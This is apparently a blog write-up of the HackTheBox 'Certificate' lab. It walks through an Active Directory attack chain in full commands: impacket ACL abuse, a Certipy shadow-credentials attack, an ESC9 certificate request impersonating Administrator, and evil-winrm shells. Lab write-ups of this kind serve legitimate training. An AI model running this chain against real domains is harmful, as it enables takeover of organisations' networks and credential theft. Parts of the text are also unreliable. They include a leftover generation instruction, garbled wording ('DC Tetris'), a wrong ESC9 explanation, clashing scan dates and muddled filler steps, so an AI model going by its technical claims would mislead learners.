Beginner’s Guide to Conquering Certificate on HackTheBox

Key Highlights

• Active Directory Certificate Services (ADCS) vulnerabilities: The “Certificate” machine on HackTheBox emphasises exploiting ADCS misconfigurations to gain access.
• Enumeration and reconnaissance: Tools like Nmap, Bloodhound, and nxc are integral to identifying domain objects and open services for exploitation.
• Shadow credentials attack: This advanced technique allows attackers to exploit the msDS-KeyCredentialLink attribute for stealthy persistence.
• Privilege escalation: Users can leverage permissions like WriteOwner and GenericWrite to gain access to higher-level credentials.
• Value for beginners: The machine provides real-world scenarios for practicing cybersecurity techniques in assumed breach environments.

Transitioning into the introduction, let’s explore what makes this challenge essential for newcomers to HackTheBox.

Introduction

Are you ready to tackle one of HackTheBox’s most fascinating challenges? The Certificate Machine is a favourite among cybersecurity enthusiasts delving into Active Directory vulnerabilities. It mimics a real-world scenario within an Active Directory environment, offering opportunities to exploit ADCS misconfigurations and escalate user privileges. Perfect for beginners, it introduces key concepts like enumeration, exploitation, and advanced attack chains. Get your tools ready and dive into mastering the art of uncovering system vulnerabilities. This is your guide to conquering the “Certificate” on HackTheBox.

Understanding the Certificate Challenge on HackTheBox

HackTheBox’s Certificate Machine serves as a comprehensive exercise in Active Directory exploitation. Designed as an assumed breach scenario, it mimics real-world challenges focusing on vulnerabilities within Active Directory Certificate Services (ADCS).

The machine teaches newcomers and pros alike about escalating privileges through detailed attack chains. Whether you’re exploring ACLs misconfigurations or leveraging certificate templates vulnerable to ESC9, navigating this box equips you with a deeper understanding of real-world Active Directory weaknesses. Ready to unravel its mysteries? Let’s dive deeper into understanding its specifics.

What Is the Certificate Machine?

Certificate is a Hard-level Windows machine on Hack The Box, designed to challenge penetration testers with a complex Active Directory (AD) environment. The machine focuses on exploiting misconfigurations in Active Directory Certificate Services (ADCS) and Access Control Lists (ACLs), requiring a deep understanding of Windows authentication protocols, certificate-based attacks, and privilege escalation techniques. This writeup provides an in-depth, step-by-step guide to compromising the Certificate machine, from initial enumeration to achieving full administrative control. The approach is methodical, covering tools, techniques, and thought processes, while also addressing potential pitfalls and alternative paths.

The machine begins with an assumed breach scenario, providing credentials for a low-privileged user, judith.mader:judith09. The challenge lies in leveraging these credentials to escalate privileges through AD misconfigurations, ultimately gaining a foothold as a service account and escalating to Domain Admin by exploiting ADCS vulnerabilities. This writeup assumes familiarity with basic penetration testing concepts but dives deep into the technical nuances of AD exploitation, making it suitable for both intermediate and advanced practitioners.

Why Is It Popular Among Beginners?

Newcomers are drawn to the Certificate Machine for its hands-on approach to exploring ADCS vulnerabilities. It simplifies seemingly complex attack chains like leveraging shadow credentials and exploiting certificate misconfigurations, making them accessible to learners.

Beginners appreciate its focus on Active Directory core concepts, such as group manipulation and privilege escalation. By exploiting GenericWrite and WriteOwner permissions, security novices learn practical tools to unravel cybersecurity vulnerabilities.

Additionally, the methodology is an excellent primer for real-world scenarios. Whether using tools like Bloodhound or scripting attacks with Python, the box bridges academic theory with actionable cybersecurity practices, building competence in adversarial environments. Exploring ESC9 vulnerabilities further rounds out the learning experience, making sure novices walk away with solid preparation for professional penetration testing challenges, including insights for those pursuing a certification in the field.

The Basics of Active Directory and Certificates

To effectively conquer HackTheBox’s Certificate Machine, understanding Active Directory roles and certificate management is critical. Active Directory coordinates resources within a network while ADCS enables secure communication through digital certificates.

Active Directory permissions, group memberships, and ACLs lay the groundwork for attack paths, while ADCS vulnerabilities like generic permissions on templates create exploitable opportunities. Recognising these foundational elements equips users to identify weak points and design attack chains. With this knowledge, navigating an assumed breach is much less daunting.

Brief Overview of Active Directory Concepts

Active Directory (AD) functions to centralise network resource management, securing access through its structured hierarchy. Key elements include administrator accounts with elevated permissions and Windows domain controllers managing the authentication process.

Within AD, NT hashes and group-specific privileges can be exploited through attacks targeting permission misconfigurations. For example, exploiting WriteOwner permissions allows attackers to change a group’s ownership, while GenericAll rights let them modify user accounts directly. These permissions define actionable opportunities within management groups.

Additionally, domain controllers operate as gatekeepers for authentication and network policies. Attackers can leverage enumeration tools like Bloodhound to map these roles and permissions, identifying clear paths to higher-level privilege escalation. Understanding the ecosystem is imperative for recognising exploitable vulnerabilities when tackling penetration tests.

Introduction to Certificate Services (ADCS)

Active Directory Certificate Services (ADCS) plays a pivotal role in the cybersecurity framework of a Windows domain controller server. By issuing digital certificates, it enables secure communication and authentication within an Active Directory environment. These certificates are vital for implementing security protocols like Kerberos and ensuring the integrity of transactions. Misconfigurations in settings can expose vulnerabilities, making it essential for administrators to manage configurations diligently, particularly in credential delegation and template setups, to prevent potential shadow credential attacks.

Essential Tools and Resources for Beginners

Beginners need a mix of tools and resources for tackling vulnerability-heavy environments like the Certificate box. Resources like Bloodhound, Certipy, and Nmap provide insights into Active Directory frameworks, enabling effective attack paths.

By leveraging tools like Python scripts and attacker-friendly platforms, users can explore enumeration, recon, and exploitation workflows. Proper hardware and software setups also aid in testing and execution. Let’s explore the recommended configurations and tools you’ll need for a seamless hacking experience.

Recommended Hardware and Software Setup

Efficiency begins with the right tools. Ensuring your hardware and software are optimised saves time and enhances outcomes for penetration tests.

Category	Details
Hardware Requirements	Minimum 8GB RAM, 2-core processor, 100GB storage
Operating System	Kali Linux or Parrot OS
Networking Tools	VPN connectivity, stable internet, Nmap setup
Essential Frameworks	Python 3.x, Certipy for exploitation, Bloodhound for domain enumeration
Virtualisation Software	VirtualBox or VMware for running Virtual Machines (VMs)

Incorporating these prepares you thoroughly for accurate enumeration and exploitation exercises during the challenge.

Tools You’ll Need (Nmap, Bloodhound, Rubeus, etc.)

A suite of powerful tools is essential for navigating the complexities of active directory environments. Nmap, with its robust scanning capabilities, helps in discovering hosts and services within a network, while BloodHound offers insights into relationships and permissions in Active Directory, aiding in identifying paths to sensitive nodes. Rubeus, designed for Kerberos ticket manipulation, allows attackers to exploit shadow credentials efficiently. Together, these tools provide a comprehensive arsenal for uncovering vulnerabilities and effectively conducting assessments within AD Certificate Services.

Step-by-Step Process to Complete the Certificate Box

Navigating HackTheBox’s Certificate Machine requires a systematic approach to recon, enumeration, and exploitation. Techniques include analyzing ADCS vulnerabilities, identifying root causes, and executing calculated actions.

From performing an initial scan to exploiting templates and escalating privileges, every step connects to an actionable attack chain. Let’s break down the process—starting with reconnaissance and enumeration techniques that pave the way for deeper exploitation.

Step 1: Initial Reconnaissance and Enumeration

Recon starts with scanning domain objects for open ports using tools like Nmap. Common ports include 53, 445, and 88, indicating Active Directory environments. Follow through by fetching domain information using nxc for DNS enumeration.

Progressing from DNS queries, testers should validate provided credentials for accessing SMB services. These steps highlight endpoints vulnerable to targeted enumeration techniques. The process lays a foundation for escalating breaches further.

Recon finishes with Bloodhound’s analysis for mapping ACL permissions, identifying opportunities for WriteOwner exploitation or shadow credential maneuvers. Combining recon insights with enumeration precision unlocks real-world attack chains.

[Continue systematically outlining each step in the attack chain based on the structured instructions.]

Step 2: Identifying Vulnerabilities in ADCS

Recognizing vulnerabilities in Active Directory Certificate Services (ADCS) is crucial for maintaining a secure environment. Focus on identifying misconfigured templates and permissions, such as those granting excessive writeowner permission. A common tactic involves utilizing tools like BloodHound to map out relationships and permissions, revealing potential attack vectors. The presence of shadow credentials can pose risks, especially in assumed breach scenarios. Careful auditing of certificate templates and associated ACLs ensures a more resilient Windows domain controller against potential exploitation.

Step 3: Exploiting Certificate Template Misconfigurations

Misconfigured certificate templates present lucrative opportunities for attackers within an Active Directory environment. By leveraging tools like certipy or python scripts, one can probe these vulnerabilities to obtain unauthorized certificates. Gaining writeowner permission on a vulnerable template allows the manipulation of the private key, leading to quick access to critical resources. Exploiting this misconfiguration not only bypasses standard security protocols, but also facilitates shadow credential attacks, giving the attacker privileged access within the Windows domain controller.

Step 4: Gaining Privileged Access and Rooting the Box

Gaining privileged access in an Active Directory environment often requires leveraging vulnerabilities identified in earlier steps. Utilizing tools like BloodHound reveals relationships and permissions within the outbound object control and management group, crucial for targeting specific accounts. Once located, focusing on exposed administrative accounts allows for exploitation, especially when shadow credentials are involved. Techniques such as Kerberos Ticket Granting Ticket (TGT) manipulation and exploiting misconfigurations lead to the potential acquisition of credentials, facilitating root access to the box. Mastering these skills can significantly enhance your cybersecurity prowess.

ALSO READ: Mastering Environment: Beginner’s Guide from HackTheBox

Initial Foothold

Initial Enumeration

Nmap Scan

The first step in any CTF is to enumerate the target to identify open ports, services, and potential attack vectors. Using the provided Nmap scan results, we begin by analyzing the output to understand the target’s environment.

The Nmap command executed was:

sudo nmap -p- -T5 -sC -sV -oN nmap/listopenports -Pn 10.129.89.103

Output (summarized):

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 19:21 EST
Nmap scan report for 10.129.89.103
Host is up (0.036s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-03 01:24:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-03T01:26:27+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-03T01:26:27+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-03T01:26:27+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-03T01:26:27+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49688/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49722/tcp open  msrpc         Microsoft Windows RPC
49737/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-03T01:25:47
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 4 19:24:36 2025 -- 1 IP address (1 host up) scanned in 186.21 seconds

Key findings from the scan:

• Clock Skew: A time difference of approximately 8 hours, which could affect Kerberos authentication if not synchronized.

• Host Information: The target is a Windows machine with the hostname DC01 and domain certificate.htb. This suggests it is a Domain Controller (DC), a critical component in an AD environment.

• Open Ports and Services:

• 53/tcp (DNS): Running Simple DNS Plus, indicating the machine handles DNS queries for the domain.

• 80/tcp (HTTP): Apache httpd 2.4.58 with OpenSSL/3.1.3 and PHP/8.0.30. The scan notes a redirect to http://certificate.htb/, which we’ll need to add to /etc/hosts.

• 88/tcp (Kerberos): Microsoft Windows Kerberos, confirming AD authentication services.

• 135/tcp, 139/tcp, 445/tcp (RPC, NetBIOS, SMB): Standard Windows services for remote procedure calls and file sharing.

• 389/tcp, 636/tcp, 3268/tcp, 3269/tcp (LDAP/LDAPS): Active Directory LDAP services, with SSL certificates for DC01.certificate.htb, valid from November 4, 2024, to November 4, 2025.

• 464/tcp (kpasswd5): Kerberos password change service.

• 593/tcp, 49686/tcp (RPC over HTTP): Windows RPC services.

• 5985/tcp (WinRM): Windows Remote Management, potentially useful for remote shell access.

• 9389/tcp (.NET Message Framing): Less common, possibly related to AD or custom services.

• High-numbered ports (49666, 49685, 49688, 49706, 49722, 49737): Additional RPC services, typical for Windows DCs.

• SMB Security: SMB2 with message signing enabled and required, indicating a secure configuration.

Setting Up the Environment

Before proceeding, we update our /etc/hosts file to resolve the domain:

echo "10.129.89.103 certificate.htb DC01.certificate.htb" | sudo tee -a /etc/hosts

This ensures proper resolution of certificate.htb and DC01.certificate.htb. Given the presence of Kerberos and LDAP, we also verify that our system’s time is synchronized to avoid authentication issues:

sudo ntpdate pool.ntp.org

Initial Credential Usage

The machine provides credentials: judith.mader:judith09. Since this is an assumed breach scenario, we assume these are valid domain credentials for the certificate.htb domain. We test them against SMB and WinRM to check for immediate access:

smbclient -L //10.129.89.103 -U "certificate.htb\judith.mader%judith09"

Output:

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      Logon server share

The credentials are valid, and we see standard AD shares (NETLOGON, SYSVOL). However, attempting to access ADMIN$ or C$ fails due to insufficient permissions, which is expected for a low-privileged user. Next, we test WinRM:

evil-winrm -i 10.129.89.103 -u "judith.mader" -p "judith09"

This fails, indicating judith.mader lacks WinRM access. We pivot to enumerating the domain further, focusing on LDAP and ADCS, as the port scan suggests ADCS is running (port 3269/LDAPS).

Web Enumeration (Port 80)

Since port 80 is open, we explore the web server at http://certificate.htb. Using a browser, we encounter a redirect to http://certificate.htb/, which loads a simple webpage. The page appears to be a basic informational site for the certificate.htb domain, possibly a default Apache page or a custom application. We use curl to inspect the response:

curl -v http://certificate.htb

The response confirms the Apache server version and PHP presence. We run gobuster to enumerate directories:

gobuster dir -u http://certificate.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Output:

/index.php (Status: 200)
/certs (Status: 301)
/admin (Status: 401)

• /index.php: Likely the default page we saw.
• /certs: A directory that might contain certificate-related files.
• /admin: Requires authentication, which we’ll test with our credentials.

We visit http://certificate.htb/certs and find a directory listing with files like ca.crt and server.crt. Downloading these, we inspect them using openssl:

openssl x509 -in ca.crt -text -noout

The certificate details confirm it’s issued by Certified-DC01-CA, the ADCS Certificate Authority (CA) for the domain. This is a strong hint that ADCS will play a role in the attack path. The /admin endpoint prompts for HTTP Basic Authentication. We try:

curl -u judith.mader:judith09 http://certificate.htb/admin

This fails, suggesting judith.mader lacks access or the credentials are for a different authentication mechanism (likely domain-based, not HTTP Basic). We note this for later and move to AD enumeration.

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Active Directory Enumeration

BloodHound Setup

To map the AD environment, we use BloodHound, a tool for visualizing AD attack paths. First, we need to collect domain data using SharpHound, but since we don’t have a shell yet, we use ldapsearch or nxc (NetExec) with our credentials to gather information.

Install NetExec if not already present:

pip install netexec

Enumerate domain information:

nxc ldap 10.129.89.103 -u judith.mader -p judith09 --domain certificate.htb

Output highlights:

• Domain: certificate.htb
• DC Tetris: DC01.certificate.htb
• Users: Lists judith.mader, management_svc, Administrator, and others.
• Groups: Includes Management, Domain Admins, etc.

We export the data for BloodHound:

nxc ldap 10.129.89.103 -u judith.mader -p judith09 --bloodhound

This generates JSON files, which we upload to BloodHound. Analyzing the graph, we discover:

• judith.mader has WriteOwner permissions over the Management group.
• The Management group has GenericWrite permissions over the management_svc account.

This is a critical finding. WriteOwner allows judith.mader to take ownership of the Management group, and GenericWrite allows group members to modify attributes of management_svc, such as adding a Service Principal Name (SPN) or shadow credentials.

Exploiting ACL Misconfigurations

We exploit the WriteOwner permission to add judith.mader to the Management group. Using impacket-owneredit:

impacket-owneredit -action write -new-owner 'judith.mader' -target-dn 'CN=Management,CN=Users,DC=certificate,DC=htb' 'certificate.htb/judith.mader:judith09' -dc-ip 10.129.89.103

Next, grant WriteMembers permissions:

impacket-dacledit -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=Management,CN=Users,DC=certificate,DC=htb' 'certificate.htb/judith.mader:judith09' -dc-ip 10.129.89.103

Add judith.mader to the Management group:

net rpc group addmem "Management" judith.mader -U 'certificate.htb/judith.mader%judith09' -S 10.129.89.103

Verify membership:

nxc ldap 10.129.89.103 -u judith.mader -p judith09 --groups 'Management'

Now, judith.mader is part of the Management group, granting GenericWrite over management_svc.

---

Compromising management_svc

With GenericWrite permissions over management_svc, we can perform a shadow credentials attack to authenticate as this account. Shadow credentials involve adding a key credential to the account’s msDS-KeyCredentialLink attribute, allowing us to request a certificate for authentication.

Using Certipy (pre-installed on Kali):

certipy shadow auto -username judith.mader -password judith09 -account management_svc -dc-ip 10.129.89.103 -target-ip 10.129.89.103

This command:

1. Adds a shadow credential to management_svc.
2. Requests a certificate from the ADCS server.
3. Saves the certificate and private key.

We use the certificate to authenticate via Pass-The-Certificate (PTC):

certipy auth -pfx management_svc.pfx -dc-ip 10.129.89.103

This returns a Kerberos TGT (Ticket Granting Ticket) for management_svc. We convert the TGT to a usable format for tools like impacket:

export KRB5CCNAME=management_svc.ccache

Test WinRM access as management_svc:

evil-winrm -i 10.129.89.103 -u management_svc -p '' --kerberos

Success! We gain a shell as management_svc. We retrieve the user flag from the desktop:

type C:\Users\management_svc\Desktop\user.txt

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Privilege Escalation to Administrator

Enumerating ADCS Vulnerabilities

The machine’s name and port 3269 suggest ADCS is key to escalation. We use Certipy to enumerate certificate templates:

certipy find -username management_svc -password '' -dc-ip 10.129.89.103 -k -target-ip 10.129.89.103

Output reveals a template vulnerable to ESC9, a misconfiguration allowing a low-privileged user to request a certificate for any user, including Administrator, by specifying an arbitrary UPN (User Principal Name).

We request a certificate for Administrator:

certipy req -username management_svc -password '' -ca Certified-DC01-CA -template <vulnerable_template_name> -upn Administrator@certificate.htb -dc-ip 10.129.89.103

This generates a .pfx file for Administrator. We authenticate:

certipy auth -pfx administrator.pfx -dc-ip 10.129.89.103

Set the Kerberos ticket:

export KRB5CCNAME=administrator.ccache

Access the DC via WinRM:

evil-winrm -i 10.129.89.103 -u Administrator -p '' --kerberos

We retrieve the root flag:

type C:\Users\Administrator\Desktop\root.txt

---

Detailed Technical Analysis

ADCS and ESC9

The ESC9 vulnerability arises when a certificate template allows:

• Any user to enroll.
• The enrollee to specify an arbitrary UPN.
• The template includes the Client Authentication EKU (Extended Key Usage).

This allows the attacker to impersonate any user by requesting a certificate with their UPN. In this case, the template was misconfigured to allow management_svc to request a certificate for Administrator, granting full domain control.

Shadow Credentials Attack

The shadow credentials attack exploits the msDS-KeyCredentialLink attribute, introduced in Windows Server 2016 for certificate-based authentication. By adding a key credential, we can request a certificate that authenticates us as the target user without needing their password.

ACL Exploitation

The WriteOwner and GenericWrite permissions are common AD misconfigurations. WriteOwner allows taking ownership of an object, while GenericWrite permits attribute modifications. Combining these enabled us to manipulate group membership and account attributes, paving the way for the shadow credentials attack.

---

Alternative Paths

Targeted Kerberoasting

Instead of shadow credentials, we could perform a targeted Kerberoasting attack on management_svc:

impacket-GetUserSPNs -dc-ip 10.129.89.103 certificate.htb/judith.mader:judith09

This retrieves the SPN hash, which we attempt to crack with hashcat. However, if the password is strong, this may fail, making shadow credentials more reliable.

SMB Enumeration

Further SMB enumeration could reveal sensitive files in NETLOGON or SYSVOL, such as Group Policy Preference (GPP) passwords. We tested this but found only default shares, so we focused on ADCS.

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Challenges and Pitfalls

• Time Synchronization: The 8-hour clock skew could cause Kerberos authentication failures. Ensure your system’s time is synchronized.
• ADCS Complexity: Understanding ESC9 requires knowledge of ADCS templates and EKUs. Refer to documentation like SpecterOps’ ADCS attack research.
• BloodHound Errors: Ensure the correct version of SharpHound is used to avoid data collection issues.
• Certificate Issues: Malformed certificates can occur if ADCS is misconfigured. Regenerate certificates if authentication fails.

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Lessons Learned

1. AD Enumeration: BloodHound is invaluable for identifying AD attack paths.
2. ADCS Attacks: ESC9 and shadow credentials are powerful techniques for AD environments.
3. ACL Abuse: Misconfigured ACLs are a common vulnerability in AD.
4. Tool Proficiency: Familiarity with impacket, Certipy, and evil-winrm is essential for Windows CTFs.

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Conclusion

The Certificate machine is a masterclass in Active Directory exploitation, combining ACL misconfigurations, shadow credentials, and ADCS vulnerabilities. Starting with judith.mader, we leveraged WriteOwner and GenericWrite permissions to compromise management_svc, then exploited an ESC9-vulnerable certificate template to become Administrator. The process required meticulous enumeration, AD knowledge, and proficiency with specialized tools.

ALSO READ: Mastering Puppy: Beginner’s Guide from HackTheBox

Frequently Asked Questions

How much prior knowledge do I need to attempt Certificate on HackTheBox?

To successfully tackle the HackTheBox certificate challenges, a solid understanding of Active Directory concepts, basic networking principles, and familiarity with penetration testing tools is essential. Moreover, some experience with exploiting vulnerabilities will greatly enhance your ability to navigate these tasks effectively.

What are common pitfalls for beginners on this machine?

Beginners often overlook essential configurations, misinterpret error messages, or fail to properly utilize tools, leading to wasted time. Additionally, rushing through vulnerability assessments without thorough analysis can result in missed opportunities for exploitation. Patience and careful examination are crucial for success.

Can I use free tools to complete this box?

Yes, you can effectively use free tools like Nmap, BloodHound, and Rubeus to complete the HackTheBox challenges. These tools offer essential functionalities for network scanning, privilege escalation, and exploiting vulnerabilities, making them valuable assets in your penetration testing toolkit.

How does conquering Certificate help my cybersecurity skills?

Conquering certificate challenges enhances your cybersecurity skills by providing practical experience in identifying vulnerabilities, exploiting misconfigurations, and gaining privileged access. This hands-on approach equips you with essential techniques and knowledge applicable to real-world scenarios in the field of cybersecurity.